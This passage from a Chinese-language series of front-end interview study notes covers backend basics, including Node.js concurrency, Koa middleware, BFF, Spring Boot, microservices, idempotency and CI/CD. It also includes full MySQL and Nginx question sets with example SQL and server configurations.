// 1. Worker Threads（官方推荐，Node 12+）
const { Worker } = require('worker_threads');
const worker = new Worker('./heavy-task.js');
worker.postMessage({ data });
worker.on('message', result => console.log(result));

// 2. Child Process（fork 子进程）
const { fork } = require('child_process');
const child = fork('./heavy-task.js');
child.send({ data });
child.on('message', result => console.log(result));

// 3. Cluster（多进程负载均衡，利用多核 CPU）
const cluster = require('cluster');
const os = require('os');
if (cluster.isPrimary) {
  for (let i = 0; i < os.cpus().length; i++) cluster.fork();
} else {
  require('./server.js');  // 每个子进程运行服务
}

// 4. 任务拆分 + setImmediate（让出事件循环）
function processChunk(data, index) {
  if (index >= data.length) return;
  processItem(data[index]);           // 处理一小块
  setImmediate(() => processChunk(data, index + 1));  // 让出控制权
}

// 5. 使用 C++ 扩展 / WASM（如 sharp 图片处理）

Q9: Express 和 Koa 的区别？⭐⭐

维度	Express	Koa
中间件模型	线性（callback）	洋葱模型（async/await）
错误处理	错误处理中间件	try/catch 捕获所有下游错误
内置功能	多（路由、静态文件等）	极简（只有核心）
异步处理	callback，易嵌套	原生 async/await
体积	较大	轻量

// Koa 洋葱模型：请求进入时顺序执行，响应返回时逆序执行
app.use(async (ctx, next) => {
  console.log('1 进入');
  await next();       // 执行下游中间件
  console.log('4 返回');
});
app.use(async (ctx, next) => {
  console.log('2 进入');
  await next();
  console.log('3 返回');
});
// 输出：1进入 → 2进入 → 3返回 → 4返回
// 应用场景：日志统计耗时、事务回滚、响应统一包装

Q10: BFF（Backend For Frontend）是什么？⭐⭐

传统模式：
前端 → 后端微服务A、B、C（前端需调多个接口，聚合数据）

BFF 模式：
前端 → BFF 层（Node.js）→ 微服务A、B、C

BFF 的价值（前端主导的服务层）：
1. 接口聚合：多个微服务数据合并成一个接口
2. 数据裁剪：只返回前端需要的字段，减小体积
3. 适配多端：为 Web/App/小程序提供不同数据结构
4. 缓冲层：后端接口变更时，BFF 层消化差异
5. SSR：Node.js 天然适合服务端渲染

常见技术选型：NestJS / Egg.js / Express + GraphQL

Java 基础（前端需要了解的部分）

Q11: 为什么前端要了解 Java 基础？常见概念映射？⭐

答：

中大型公司后端以 Java 为主，前端了解后端技术有助于接口联调、问题定位、全栈发展。

Java 概念	前端对应概念
Spring Boot	NestJS / Express
Maven / Gradle	npm / pnpm
pom.xml	package.json
Controller	路由处理器
DTO / VO / Entity	TypeScript interface
注解 @Annotation	装饰器 @Decorator
MyBatis / JPA	ORM（Prisma / TypeORM）
Tomcat	Node HTTP Server
JVM 堆内存	V8 堆内存（都有 GC）

Q12: Spring Boot 的注解你见过哪些？分别什么作用？⭐⭐

@RestController          // = @Controller + @ResponseBody，返回 JSON
@RequestMapping("/users")  // 路由前缀（类似 Express Router）
@GetMapping("/{id}")     // GET 请求，@PathVariable 取路径参数
@PostMapping             // POST 请求
@RequestParam            // 查询参数 ?name=xxx（类似 req.query）
@RequestBody             // 请求体 JSON 自动反序列化（类似 req.body）
@Service                 // 业务逻辑层
@Repository / @Mapper    // 数据访问层（DAO）
@Autowired               // 依赖注入（类似 NestJS 构造函数注入）
@Transactional           // 声明式事务（类似 TypeORM 事务）

// 典型分层结构（与 NestJS 完全对应）
@RestController
@RequestMapping("/users")
public class UserController {
    @Autowired
    private UserService userService;   // Service 层

    @GetMapping("/{id}")
    public Result<UserVO> getById(@PathVariable Long id) {
        return Result.success(userService.getById(id));
    }
}

// Controller（接收请求）→ Service（业务逻辑）→ Mapper（数据库操作）
// 前端联调报错时看哪一层：
// 400：Controller 参数校验失败
// 500：Service/Mapper 抛异常，看后端日志的堆栈

Q13: 后端接口的参数校验，前端应该如何配合？⭐⭐

// Java 常见校验注解（JSR-380 / Hibernate Validator）
@NotNull      // 非空（对象）
@NotBlank     // 非空字符串
@Size(min=1, max=20)   // 长度
@Min(0) @Max(100)      // 数值范围
@Email        // 邮箱格式
@Pattern(regexp="^1[3-9]\\d{9}$")  // 手机号正则

// 前端应做同样的校验（提升体验），但不能替代后端校验（安全）
// 规则保持一致，避免"前端通过、后端 400"的联调问题
const rules = {
  username: [
    { required: true, message: '用户名不能为空' },
    { min: 2, max: 20, message: '长度 2-20 个字符' },
  ],
  email: [{ type: 'email', message: '邮箱格式不正确' }],
};
// 收到 400 时，优先展示后端 message（后端规则更权威）

微服务与架构

Q14: 单体架构和微服务架构的区别？⭐⭐ 🔥

答：

维度	单体架构	微服务架构
部署	一个包（war/jar）	多个独立服务
技术栈	统一	每个服务可不同
扩展	整体扩容	按服务扩容
故障	一处挂全挂	故障隔离
通信	方法调用	HTTP/RPC
复杂度	代码复杂	运维复杂（分布式问题）
数据	单库	每服务独立库

单体：
┌─────────────────────────┐
│  用户 + 订单 + 支付 + …  │ → 一个数据库
└─────────────────────────┘

微服务：
┌──────┐  ┌──────┐  ┌──────┐
│用户服务│  │订单服务│  │支付服务│
└──┬───┘  └──┬───┘  └──┬───┘
   ↓         ↓         ↓
 用户库    订单库    支付库

服务间通信：
- 同步：HTTP REST / RPC（Dubbo、gRPC）
- 异步：消息队列（RabbitMQ、Kafka、RocketMQ）

对前端的影响：

接口域名可能不同 → 需要网关统一入口（如 /api/user/** 路由到用户服务）
一个页面可能需要聚合多个服务的数据 → BFF 层的价值
服务不可用时的降级 → 前端要做好容错和兜底 UI

Q15: API 网关是什么？⭐⭐

没有网关：前端要记住 N 个服务地址
前端 → 用户服务 :8001
前端 → 订单服务 :8002
前端 → 支付服务 :8003

有网关：统一入口
前端 → 网关 :8080 → 路由分发到各服务

网关的职责：
1. 路由转发（按路径/Header 分发）
2. 统一认证（在网关层校验 Token）
3. 限流熔断（保护后端服务）
4. 日志监控（统一记录请求日志）
5. 协议转换（外部 HTTP → 内部 RPC）
6. 跨域处理（统一配置 CORS）

常见实现：
- Nginx / OpenResty（轻量）
- Kong（基于 OpenResty，插件丰富）
- Spring Cloud Gateway（Java 生态）
- APISIX（国产，高性能）

Q16: 什么是消息队列？前端场景有哪些？⭐⭐⭐

消息队列（MQ）：异步通信的中间件
生产者 → MQ（队列）→ 消费者

三大作用：
1. 异步：下单后发短信/邮件不用同步等待
2. 解耦：订单服务不需要知道谁消费订单消息
3. 削峰：秒杀请求先入队，后端按能力消费

前端相关场景：
- WebSocket 推送：后端消费 MQ 消息后推送给前端
- 大文件处理：上传视频 → MQ → 转码服务 → 完成后通知前端
- 埋点上报：日志采集 → Kafka → 实时计算
- 订单状态轮询优化：MQ + WebSocket 替代轮询

Q17: 接口幂等性是什么？前端如何配合？⭐⭐ 🔥

幂等性：同一请求执行一次和执行多次，结果相同。

为什么重要？网络超时重试、用户连点、MQ 重复消费都可能导致重复请求。

场景：
- 支付接口重复调用 → 重复扣款！（必须幂等）
- 创建订单重复提交 → 重复订单！

后端方案：
1. 唯一索引（数据库层兜底）
2. Token 机制：先申请 token，提交时携带并删除（Redis）
3. 乐观锁：UPDATE ... SET stock=stock-1 WHERE id=1 AND version=1
4. 状态机：订单只能从"待支付"→"已支付"，不可逆

前端配合：
1. 按钮防连点：提交后 loading/disabled
2. 唯一请求 ID：生成 requestId 随请求发送
3. 防抖节流：搜索框等高频操作

// 前端防重复提交示例
const submitOrder = async () => {
  if (submitting.value) return;
  submitting.value = true;   // 立即锁定
  try {
    await api.createOrder({ ...form, requestId: uuid() });
    message.success('提交成功');
  } catch (e) {
    message.error(e.message);
  } finally {
    submitting.value = false;
  }
};

Q18: 什么是限流？常见算法？⭐⭐⭐

限流：控制单位时间的请求数，保护系统不被打垮。

常见算法：
┌────────────┬──────────────────────────────────┐
│ 固定窗口    │ 每分钟 N 个请求，简单但有临界问题 │
│ 滑动窗口    │ 窗口细分滚动，更平滑              │
│ 漏桶       │ 请求入桶匀速流出，强制恒定速率     │
│ 令牌桶      │ 匀速发令牌，有令牌才能请求，       │
│            │ 允许一定突发流量（最常用）         │
└────────────┴──────────────────────────────────┘

前端遇到 429 Too Many Requests 的处理：
1. 指数退避重试：1s → 2s → 4s → 8s
2. 读取 Retry-After 响应头
3. 请求合并/防抖，减少请求量
4. 提示用户稍后再试

部署与运维基础

Q19: 前端项目常见的部署方式？⭐ 🔥

方式	说明	适用场景
Nginx 静态托管	dist 目录 + Nginx 配置	最通用
CDN	静态资源上传 CDN，就近访问	大型项目
Docker	Nginx 镜像 + dist，容器化部署	微服务环境
Serverless	Vercel / Netlify / 云函数	个人项目、SSR
Node SSR	Node 服务渲染（Nuxt/Next）	SEO 需求

# 前端 Docker 部署典型 Dockerfile（多阶段构建）
# 阶段1：构建
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# 阶段2：运行（只拷贝 dist，镜像极小）
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80

Q20: CI/CD 是什么？前端项目如何落地？⭐⭐

CI（持续集成）：代码提交后自动构建、测试
CD（持续部署/交付）：构建产物自动部署到环境

典型流水线（GitLab CI / GitHub Actions / Jenkins）：

git push → 触发流水线
  ├─ 1. 安装依赖（npm ci，利用缓存）
  ├─ 2. 代码检查（ESLint / Prettier / commitlint）
  ├─ 3. 单元测试（vitest / jest）
  ├─ 4. 构建（npm run build）
  ├─ 5. 产物上传（OSS / 镜像仓库）
  └─ 6. 部署（测试环境自动 / 生产环境手动审批）

分支策略配合：
- feature/* → 开发分支（自动部署测试环境）
- develop   → 集成测试
- master/main → 生产发布（打 tag，可回滚）

回滚方案：
1. 保留历史版本 dist 目录，Nginx 切换软链
2. Docker 镜像 tag 回退
3. CDN 刷新 + 版本回退

复习卡片

[!TIP] 快速复习清单

RESTful：URL 名词化 + HTTP 方法语义化 + 状态码规范

401 vs 403：未认证（跳登录） vs 未授权（提示无权限）

JWT：Header.Payload.Signature，无状态，Payload 不是加密

OAuth 2.0：授权码模式最安全，code 换 token 走后端信道

Node 事件循环：六阶段，setImmediate vs setTimeout，nextTick 优先

CPU 密集：Worker Threads / Cluster / 任务拆分

BFF：接口聚合 + 数据裁剪 + 多端适配

微服务：独立部署 + 故障隔离 + 网关统一入口

幂等性：唯一 ID + Token 机制 + 前端防连点

限流：令牌桶最常用，429 + 指数退避重试

部署：Nginx / Docker 多阶段构建 / CDN

CI/CD：提交触发 → 检查 → 测试 → 构建 → 部署 → 可回滚

[!TIP] 下一篇：TypeScript 进阶面试题涵盖泛型、条件类型、infer、映射类型、内置工具类型手写实现、协变逆变等中高级必考的 TS 进阶知识。

Node.js 深化阅读：本篇 Q7-Q10 只是 Node.js 的入门，完整的 Node.js 服务端知识（事件循环、Stream、多进程、框架选型、部署运维）详见 Node.js 面试题专篇。

返回面试宝典总览 | 面试宝典合集页

[!IMPORTANT] 面试冲刺建议

优先复习所有标注 🔥 的高频考点

每篇文章末尾的复习卡片过一遍，卡壳的知识点回原文精读

结合自己的项目经历，把知识点转化为「场景 + 方案 + 结果」的 STAR 表述

手写代码题（防抖节流、深拷贝、Promise.all、并发控制）务必练熟，详见手写代码题专篇

MySQL 面试题（前端工程师必备后端知识）

Wed, 16 Sep 2026 06:00:00 GMT

[!NOTE] 本文包含 20+ 道 MySQL 面试题，面向需要了解后端知识的中高级前端工程师，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级

索引

Q1: MySQL 索引的类型？⭐ 🔥

答：

索引类型	说明
主键索引 (PRIMARY KEY)	唯一标识，不允许 NULL
唯一索引 (UNIQUE)	值唯一，允许 NULL
普通索引 (INDEX)	最基本的索引
联合索引 (COMPOSITE)	多列组合索引
全文索引 (FULLTEXT)	文本搜索

-- 创建索引
CREATE INDEX idx_username ON users(username);
CREATE UNIQUE INDEX idx_email ON users(email);
CREATE INDEX idx_name_age ON users(name, age);  -- 联合索引

-- 查看索引
SHOW INDEX FROM users;

-- 删除索引
DROP INDEX idx_username ON users;

Q2: 为什么使用 B+ 树而不是 B 树？⭐⭐⭐ 🔥

答：

B 树：
        [30|60]
       /   |   \
   [10|20] [40|50] [70|80]
   (数据存储在内部节点)

B+ 树：
        [30|60]           ← 内部节点只存键值
       /   |   \
   [10|20] [40|50] [70|80]
      ↓       ↓       ↓
   [data]  [data]  [data]  ← 叶子节点存数据
      ↔       ↔       ↔    ← 叶子节点链表相连

B+ 树优势：

特性	B 树	B+ 树
数据存储位置	所有节点	只在叶子节点
叶子节点链表	无	有（便于范围查询）
查询稳定性	不稳定（可能在内部节点找到）	稳定（必须到叶子节点）
磁盘 I/O	较多	较少（内部节点更小）
范围查询	需要中序遍历	链表顺序扫描

Q3: 聚簇索引和非聚簇索引的区别？⭐⭐ 🔥

答：

聚簇索引（InnoDB 主键）：
┌─────────────────────────────────┐
│  B+ 树叶子节点存储完整行数据    │
│  数据即索引，索引即数据         │
└─────────────────────────────────┘

非聚簇索引（二级索引）：
┌─────────────────────────────────┐
│  B+ 树叶子节点存储主键值        │
│  需要"回表"查询完整数据         │
└─────────────────────────────────┘

-- 回表示例
SELECT * FROM users WHERE name = 'Tom';
-- 1. 在 name 索引树找到主键 id = 100
-- 2. 在主键索引树找到 id = 100 的完整行数据（回表）

-- 避免回表：覆盖索引
SELECT id, name FROM users WHERE name = 'Tom';
-- name 索引已包含 id 和 name，无需回表

Q4: 最左前缀原则？⭐⭐ 🔥

答：

联合索引 (a, b, c) 的查询规则：

-- ✅ 命中索引
WHERE a = 1                    -- 命中 a
WHERE a = 1 AND b = 2          -- 命中 a, b
WHERE a = 1 AND b = 2 AND c = 3 -- 命中 a, b, c

-- ❌ 不命中或部分命中
WHERE b = 2                    -- 不命中（缺少最左列 a）
WHERE c = 3                    -- 不命中
WHERE b = 2 AND c = 3          -- 不命中

-- ⚠️ 范围查询后停止
WHERE a = 1 AND b > 2 AND c = 3  -- 命中 a, b（c 不命中，范围后停止）

-- ✅ 索引下推（MySQL 5.6+）
WHERE a = 1 AND b LIKE '%test%' AND c = 3
-- ICP 优化：在索引层过滤 b，减少回表

Q5: 索引失效的情况？⭐⭐ 🔥

-- 1. 对索引列使用函数
WHERE YEAR(create_time) = 2024        -- ❌ 失效
WHERE create_time >= '2024-01-01'     -- ✅ 命中

-- 2. 隐式类型转换
WHERE phone = 13800138000             -- ❌ phone 是 varchar，数字会转换
WHERE phone = '13800138000'           -- ✅ 命中

-- 3. LIKE 以 % 开头
WHERE name LIKE '%Tom'                -- ❌ 失效
WHERE name LIKE 'Tom%'                -- ✅ 命中

-- 4. OR 条件有非索引列
WHERE name = 'Tom' OR age = 20        -- ❌ age 无索引，全表扫描

-- 5. != 和 NOT IN
WHERE status != 1                     -- ❌ 可能失效
WHERE status NOT IN (1, 2)            -- ❌ 可能失效

-- 6. IS NULL / IS NOT NULL（视数据分布）
WHERE name IS NULL                    -- 可能失效

-- 7. 联合索引不满足最左前缀
-- 见上题

事务

Q6: 事务的 ACID 特性？⭐ 🔥

答：

特性	说明	实现机制
A (Atomicity) 原子性	事务要么全成功，要么全失败	undo log
C (Consistency) 一致性	事务前后数据状态一致	其他三个特性保证
I (Isolation) 隔离性	并发事务互不干扰	锁 + MVCC
D (Durability) 持久性	提交后数据永久保存	redo log

-- 事务示例
START TRANSACTION;

UPDATE account SET balance = balance - 100 WHERE id = 1;
UPDATE account SET balance = balance + 100 WHERE id = 2;

COMMIT;  -- 或 ROLLBACK;

Q7: 事务隔离级别？⭐⭐ 🔥

答：

隔离级别	脏读	不可重复读	幻读
READ UNCOMMITTED	✅	✅	✅
READ COMMITTED	❌	✅	✅
REPEATABLE READ (MySQL默认)	❌	❌	✅*
SERIALIZABLE	❌	❌	❌

-- 查看隔离级别
SELECT @@transaction_isolation;

-- 设置隔离级别
SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;

并发问题解释：

-- 脏读：读到未提交的数据
-- 事务A修改数据但未提交，事务B读到了修改后的值

-- 不可重复读：同一事务内两次读取结果不同
-- 事务A读取数据，事务B修改并提交，事务A再次读取发现变了

-- 幻读：同一事务内两次查询行数不同
-- 事务A查询10行，事务B插入新行，事务A再查询变成11行

MVCC（多版本并发控制）：

MySQL InnoDB 通过 MVCC 实现 REPEATABLE READ 下的非锁定读：

每行数据隐藏列：
- trx_id：最后修改的事务ID
- roll_pointer：指向 undo log 的指针

读取时根据 Read View 判断可见性：
- 事务开始时创建 Read View
- 读取时沿着 roll_pointer 找到可见版本

SQL 优化

Q8: 如何分析慢 SQL？⭐⭐ 🔥

答：

-- 1. 开启慢查询日志
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 1;  -- 超过1秒记录

-- 2. EXPLAIN 分析执行计划
EXPLAIN SELECT * FROM users WHERE name = 'Tom';

-- 关键字段
-- id: 查询序号
-- select_type: 查询类型（SIMPLE/PRIMARY/SUBQUERY）
-- table: 表名
-- type: 访问类型（性能从好到差）
--   system > const > eq_ref > ref > range > index > ALL
-- possible_keys: 可能使用的索引
-- key: 实际使用的索引
-- rows: 预估扫描行数
-- Extra: 额外信息
--   Using index: 覆盖索引（好）
--   Using where: 需要过滤
--   Using filesort: 需要额外排序（差）
--   Using temporary: 使用临时表（差）

Q9: SQL 优化技巧？⭐⭐ 🔥

-- 1. 避免 SELECT *
SELECT id, name, email FROM users;  -- ✅ 只查需要的列

-- 2. 使用 LIMIT 分页
SELECT * FROM orders ORDER BY id LIMIT 100000, 10;  -- ❌ 深分页慢
-- 优化：延迟关联
SELECT o.* FROM orders o
INNER JOIN (SELECT id FROM orders ORDER BY id LIMIT 100000, 10) t
ON o.id = t.id;  -- ✅

-- 3. 小表驱动大表
-- IN 适合子查询结果集小
SELECT * FROM users WHERE id IN (SELECT user_id FROM orders WHERE amount > 100);
-- EXISTS 适合外表小
SELECT * FROM users u WHERE EXISTS (SELECT 1 FROM orders o WHERE o.user_id = u.id);

-- 4. 批量操作
INSERT INTO users (name, age) VALUES ('A', 20), ('B', 21), ('C', 22);  -- ✅ 批量
-- 而不是循环单条插入

-- 5. 使用连接查询替代子查询
SELECT u.*, o.amount FROM users u
JOIN orders o ON u.id = o.user_id;  -- ✅ 通常比子查询快

-- 6. 合理使用索引
-- WHERE、ORDER BY、GROUP BY 的列加索引
-- 联合索引把区分度高的列放前面

-- 7. 避免大事务
-- 大事务占用锁时间长，影响并发

锁机制

Q10: MySQL 有哪些锁？⭐⭐

答：

锁类型	粒度	说明
表锁	表	开销小，并发低
行锁	行	开销大，并发高（InnoDB）
共享锁 (S)	行/表	读锁，允许并发读
排他锁 (X)	行/表	写锁，阻塞其他读写
间隙锁 (Gap)	范围	防止幻读
临键锁 (Next-Key)	行+间隙	InnoDB 默认

-- 共享锁（读锁）
SELECT * FROM users WHERE id = 1 LOCK IN SHARE MODE;

-- 排他锁（写锁）
SELECT * FROM users WHERE id = 1 FOR UPDATE;

-- 死锁示例
-- 事务A：UPDATE users SET ... WHERE id = 1;
-- 事务B：UPDATE users SET ... WHERE id = 2;
-- 事务A：UPDATE users SET ... WHERE id = 2;  -- 等待B
-- 事务B：UPDATE users SET ... WHERE id = 1;  -- 等待A，死锁！

-- InnoDB 自动检测死锁，回滚代价小的事务

分库分表

Q11: 什么时候需要分库分表？⭐⭐⭐

答：

场景	方案
单表数据量 > 2000万	水平分表
单库并发 > 2000	分库
读写比例悬殊	读写分离

垂直分库：按业务拆分
┌─────────────────┐    ┌──────┐ ┌──────┐ ┌──────┐
│   单一数据库    │ →  │用户库│ │订单库│ │商品库│
└─────────────────┘    └──────┘ └──────┘ └──────┘

水平分表：按规则分散数据
┌─────────────────┐    ┌────────┐ ┌────────┐ ┌────────┐
│   orders 表     │ →  │orders_0│ │orders_1│ │orders_2│
│   (1亿条)       │    │(hash)  │ │(hash)  │ │(hash)  │
└─────────────────┘    └────────┘ └────────┘ └────────┘

读写分离：
写 → 主库 → 同步 → 从库1（读）
                  → 从库2（读）

复习卡片

知识点	关键记忆
B+ 树	叶子节点存数据，链表便于范围查询
聚簇索引	主键索引，数据即索引
回表	二级索引查主键，再查完整数据
最左前缀	联合索引必须从最左列开始
ACID	原子性、一致性、隔离性、持久性
隔离级别	MySQL 默认 REPEATABLE READ
MVCC	多版本并发控制，非锁定读
EXPLAIN	type: ALL 最差，const 最好
索引失效	函数、类型转换、LIKE '%x'

[!TIP] 下一篇：后端知识面试题

涵盖 RESTful API 设计、Node.js、Java 基础、微服务等前端工程师需要了解的后端知识。

Nginx 面试题（中高级前端必备）

Wed, 16 Sep 2026 05:00:00 GMT

[!NOTE] 本文包含 20+ 道 Nginx 面试题，重点覆盖前端工程师需要掌握的部分，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级

Nginx 基础

Q1: Nginx 是什么？主要用途？⭐

答：

Nginx 是一个高性能的 HTTP 和反向代理服务器，特点：

高并发：事件驱动架构，单进程处理数万连接
低内存：相比 Apache，内存消耗极低
高可靠：7x24 小时运行，热部署
模块化：功能通过模块扩展

前端工程师使用场景：

用途	说明
静态资源服务	托管 HTML/CSS/JS/图片
反向代理	将 API 请求转发到后端
负载均衡	分发请求到多台服务器
HTTPS 终止	SSL/TLS 证书配置
Gzip 压缩	减小传输体积
SPA 路由	history 模式配置
缓存	静态资源缓存控制

Q2: Nginx 的架构？⭐⭐

                    ┌─────────────────────┐
                    │    Master Process    │
                    │  (管理 Worker 进程)  │
                    └──────────┬──────────┘
                               │
           ┌───────────────────┼───────────────────┐
           │                   │                   │
    ┌──────▼──────┐    ┌──────▼──────┐    ┌──────▼──────┐
    │   Worker 1  │    │   Worker 2  │    │   Worker N  │
    │ (单线程)    │    │ (单线程)    │    │ (单线程)    │
    │ 事件驱动    │    │ 事件驱动    │    │ 事件驱动    │
    │ 非阻塞 I/O  │    │ 非阻塞 I/O  │    │ 非阻塞 I/O  │
    └─────────────┘    └─────────────┘    └─────────────┘

# nginx.conf 全局配置
worker_processes auto;        # Worker 进程数（auto = CPU 核心数）
worker_connections 65535;     # 每个 Worker 最大连接数

events {
    use epoll;                # Linux 高效事件模型
    multi_accept on;          # 一次接受多个连接
}

静态资源服务

Q3: 如何配置静态资源服务？⭐ 🔥

server {
    listen 80;
    server_name example.com;
    
    # 静态文件根目录
    root /var/www/blog/dist;
    index index.html;
    
    # 静态资源配置
    location / {
        try_files $uri $uri/ /index.html;
    }
    
    # 带 hash 的静态资源：强缓存 1 年
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
        expires 1y;
        add_header Cache-Control "public, max-age=31536000, immutable";
        access_log off;
    }
    
    # HTML 文件：不缓存（每次协商）
    location ~* \.html$ {
        add_header Cache-Control "no-cache, no-store, must-revalidate";
        add_header Pragma "no-cache";
        expires 0;
    }
}

Q4: SPA 应用（history 模式）如何配置？⭐⭐ 🔥

# Vue Router / React Router history 模式
# 问题：直接访问 /user/profile 返回 404
# 原因：Nginx 找不到对应文件，需要将所有路由指向 index.html

server {
    listen 80;
    server_name spa.example.com;
    root /var/www/spa/dist;
    
    location / {
        # 核心：try_files 找不到文件就返回 index.html
        try_files $uri $uri/ /index.html;
    }
    
    # API 代理
    location /api/ {
        proxy_pass http://backend:3000/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

try_files 指令解析：

try_files $uri $uri/ /index.html;

# 执行顺序：
# 1. 尝试找文件 $uri（如 /assets/app.js）
# 2. 尝试找目录 $uri/（如 /assets/）
# 3. 都找不到，返回 /index.html（交给前端路由处理）

Q5: 多项目部署（子路径）如何配置？⭐⭐

# 场景：同一服务器部署多个前端项目
# http://example.com/       -> 主站
# http://example.com/blog/  -> 博客
# http://example.com/admin/ -> 后台管理

server {
    listen 80;
    server_name example.com;
    
    # 主站
    location / {
        root /var/www/main/dist;
        try_files $uri $uri/ /index.html;
    }
    
    # 博客（子路径）
    location /blog/ {
        alias /var/www/blog/dist/;
        index index.html;
        try_files $uri $uri/ /blog/index.html;
    }
    
    # 后台管理（子路径）
    location /admin/ {
        alias /var/www/admin/dist/;
        index index.html;
        try_files $uri $uri/ /admin/index.html;
    }
}

# 注意：alias vs root 的区别
# root：拼接完整路径 root + location
# alias：替换 location 部分

反向代理

Q6: 什么是反向代理？如何配置？⭐⭐ 🔥

答：

反向代理是代理服务端，客户端不知道真实服务器地址。

客户端 → Nginx（反向代理）→ 后端服务器1
                          → 后端服务器2
                          → 后端服务器3

server {
    listen 80;
    server_name example.com;
    
    # API 反向代理
    location /api/ {
        proxy_pass http://localhost:3000/;
        
        # 传递真实客户端信息
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # 超时配置
        proxy_connect_timeout 30s;
        proxy_read_timeout 60s;
        proxy_send_timeout 60s;
        
        # 重写路径（去掉 /api 前缀）
        # /api/users -> /users
        rewrite ^/api/(.*)$ /$1 break;
    }
    
    # WebSocket 代理
    location /ws/ {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_read_timeout 86400;
    }
}

Q7: proxy_pass 末尾有无斜杠的区别？⭐⭐⭐

# 无斜杠：保留 location 路径
location /api/ {
    proxy_pass http://backend;
}
# /api/users -> http://backend/api/users

# 有斜杠：替换 location 路径
location /api/ {
    proxy_pass http://backend/;
}
# /api/users -> http://backend/users

# 带路径
location /api/ {
    proxy_pass http://backend/v1/;
}
# /api/users -> http://backend/v1/users

负载均衡

Q8: Nginx 负载均衡策略？⭐⭐ 🔥

# 1. 轮询（默认）
upstream backend {
    server 192.168.1.1:3000;
    server 192.168.1.2:3000;
    server 192.168.1.3:3000;
}

# 2. 加权轮询
upstream backend {
    server 192.168.1.1:3000 weight=3;  # 权重高，分配多
    server 192.168.1.2:3000 weight=1;
    server 192.168.1.3:3000 weight=1;
}

# 3. IP Hash（同一 IP 固定到同一服务器，解决 Session 问题）
upstream backend {
    ip_hash;
    server 192.168.1.1:3000;
    server 192.168.1.2:3000;
}

# 4. 最少连接
upstream backend {
    least_conn;
    server 192.168.1.1:3000;
    server 192.168.1.2:3000;
}

# 5. 健康检查 + 故障转移
upstream backend {
    server 192.168.1.1:3000 max_fails=3 fail_timeout=30s;
    server 192.168.1.2:3000 max_fails=3 fail_timeout=30s;
    server 192.168.1.3:3000 backup;  # 备用服务器
}

# 使用
server {
    location /api/ {
        proxy_pass http://backend;
    }
}

HTTPS 配置

Q9: 如何配置 HTTPS？⭐⭐ 🔥

# HTTP 强制跳转 HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

# HTTPS 配置
server {
    listen 443 ssl http2;
    server_name example.com;
    
    # SSL 证书
    ssl_certificate     /etc/nginx/ssl/example.com.crt;
    ssl_certificate_key /etc/nginx/ssl/example.com.key;
    
    # SSL 优化
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    
    # HSTS（强制 HTTPS）
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    
    # 安全头
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    
    root /var/www/dist;
    index index.html;
    
    location / {
        try_files $uri $uri/ /index.html;
    }
}

性能优化

Q10: Nginx 性能优化手段？⭐⭐ 🔥

# 1. Gzip 压缩
gzip on;
gzip_vary on;
gzip_min_length 1024;           # 小于 1KB 不压缩
gzip_comp_level 6;              # 压缩级别 1-9
gzip_types
    text/plain
    text/css
    text/javascript
    application/javascript
    application/json
    application/xml
    image/svg+xml;

# 2. 开启文件缓存
open_file_cache max=1000 inactive=20s;
open_file_cache_valid 30s;
open_file_cache_min_uses 2;

# 3. 客户端缓存
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
    expires 1y;
    add_header Cache-Control "public, immutable";
}

# 4. 连接优化
keepalive_timeout 65;           # 长连接超时
keepalive_requests 1000;        # 每个连接最大请求数
client_max_body_size 10m;       # 上传文件大小限制

# 5. Worker 优化
worker_processes auto;          # CPU 核心数
worker_connections 65535;       # 最大连接数
worker_rlimit_nofile 65535;     # 文件描述符限制

# 6. 缓冲区优化
client_body_buffer_size 128k;
proxy_buffer_size 4k;
proxy_buffers 8 4k;

# 7. 禁用不必要的日志
access_log off;                 # 静态资源关闭访问日志

Q11: 如何实现灰度发布 / A-B 测试？⭐⭐⭐

# 基于 Cookie 的灰度发布
map $http_cookie $version {
    default         "stable";
    "~*version=new" "canary";
}

upstream stable {
    server 192.168.1.1:3000;
}

upstream canary {
    server 192.168.1.2:3000;
}

server {
    location / {
        if ($version = "canary") {
            proxy_pass http://canary;
        }
        proxy_pass http://stable;
    }
}

# 基于权重的灰度（10% 流量到新版本）
upstream backend {
    server 192.168.1.1:3000 weight=9;  # 旧版本 90%
    server 192.168.1.2:3000 weight=1;  # 新版本 10%
}

# 基于 Header 的灰度
map $http_x_version $backend {
    default "stable_backend";
    "v2"    "canary_backend";
}

常用命令

Q12: Nginx 常用命令？⭐

# 检查配置是否正确
nginx -t

# 重新加载配置（不中断服务）
nginx -s reload

# 停止
nginx -s stop        # 快速停止
nginx -s quit        # 优雅停止

# 查看进程
ps aux | grep nginx

# 查看日志
tail -f /var/log/nginx/access.log
tail -f /var/log/nginx/error.log

# 查看连接状态
netstat -anp | grep nginx

复习卡片

知识点	关键记忆
SPA 路由	`try_files $uri $uri/ /index.html`
反向代理	`proxy_pass`，注意末尾斜杠
负载均衡	轮询、加权、IP Hash、最少连接
静态资源缓存	hash 文件强缓存 1 年，HTML 不缓存
